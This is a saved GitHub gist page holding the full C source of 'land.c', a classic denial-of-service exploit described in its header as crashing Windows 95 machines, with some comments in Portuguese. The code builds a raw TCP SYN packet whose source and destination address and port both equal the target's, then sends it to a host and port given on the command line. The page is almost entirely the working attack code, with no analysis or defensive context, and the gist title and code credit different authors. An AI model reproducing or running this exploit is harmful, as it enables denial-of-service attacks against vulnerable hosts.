Created
May 21, 2018 12:00
-
-
Save vmesel/9fe9f92c5689de1b7294e685a8640aa1 to your computer and use it in GitHub Desktop.
land.c by Nelson Brito,
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* land.c by m3lt, FLC | |
crashes a win95 box */ | |
#include <stdio.h> | |
#include <netdb.h> | |
#include <arpa/inet.h> | |
#include <netinet/in.h> | |
#include <sys/types.h> | |
#include <sys/socket.h> | |
#include <netinet/ip.h> | |
#include <netinet/ip_tcp.h> | |
#include <netinet/protocols.h> | |
struct pseudohdr | |
{ | |
struct in_addr saddr; // prob, starting address (?) | |
struct in_addr daddr; | |
u_char zero; | |
u_char protocol; // prob, internet protocol being used | |
u_short length; // length of the package | |
struct tcphdr tcpheader; // TCP header | |
}; | |
u_short checksum(u_short * data,u_short length) | |
{ | |
register long value; | |
u_short i; | |
for(i=0;i<(length>>1);i++) | |
value+=data[i]; | |
if((length&1)==1) | |
value+=(data[i]<<8); | |
value=(value&65535)+(value>>16); | |
return(~value); | |
} | |
int main(int argc,char * * argv) | |
{ | |
struct sockaddr_in sin; // cria uma especificacao de socket para conexao | |
struct hostent * hoste; | |
int sock; // porta do socket | |
char buffer[40]; | |
struct iphdr * ipheader=(struct iphdr *) buffer; // header do ip | |
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr)); // header do tcp | |
struct pseudohdr pseudoheader; | |
fprintf(stderr,"land.c by m3lt, FLC\n"); | |
if(argc<3) | |
{ | |
fprintf(stderr,"usage: %s IP port\n",argv[0]); | |
return(-1); | |
} // faltou a porta | |
bzero(&sin,sizeof(struct sockaddr_in)); // troca os valores em &sim por 0s do tamanho da sockaddr_in | |
sin.sin_family=AF_INET; | |
if((hoste=gethostbyname(argv[1]))!=NULL) | |
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); | |
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) | |
{ | |
fprintf(stderr,"unknown host %s\n",argv[1]); | |
return(-1); | |
} | |
if((sin.sin_port=htons(atoi(argv[2])))==0) | |
{ | |
fprintf(stderr,"unknown port %s\n",argv[2]); | |
return(-1); | |
} | |
if((sock=socket(AF_INET,SOCK_RAW,255))==-1) | |
{ | |
fprintf(stderr,"couldn't allocate raw socket\n"); | |
return(-1); | |
} | |
bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr)); | |
ipheader->version=4; | |
ipheader->ihl=sizeof(struct iphdr)/4; | |
ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr)); | |
ipheader->id=htons(0xF1C); | |
ipheader->ttl=255; | |
ipheader->protocol=IP_TCP; | |
ipheader->saddr=sin.sin_addr.s_addr; | |
ipheader->daddr=sin.sin_addr.s_addr; | |
tcpheader->th_sport=sin.sin_port; | |
tcpheader->th_dport=sin.sin_port; | |
tcpheader->th_seq=htonl(0xF1C); | |
tcpheader->th_flags=TH_SYN; | |
tcpheader->th_off=sizeof(struct tcphdr)/4; | |
tcpheader->th_win=htons(2048); | |
bzero(&pseudoheader,12+sizeof(struct tcphdr)); | |
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr; | |
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; | |
pseudoheader.protocol=6; | |
pseudoheader.length=htons(sizeof(struct tcphdr)); | |
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); | |
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); | |
if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1) | |
{ | |
fprintf(stderr,"couldn't send packet\n"); | |
return(-1); | |
} | |
fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]); | |
close(sock); | |
return(0); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment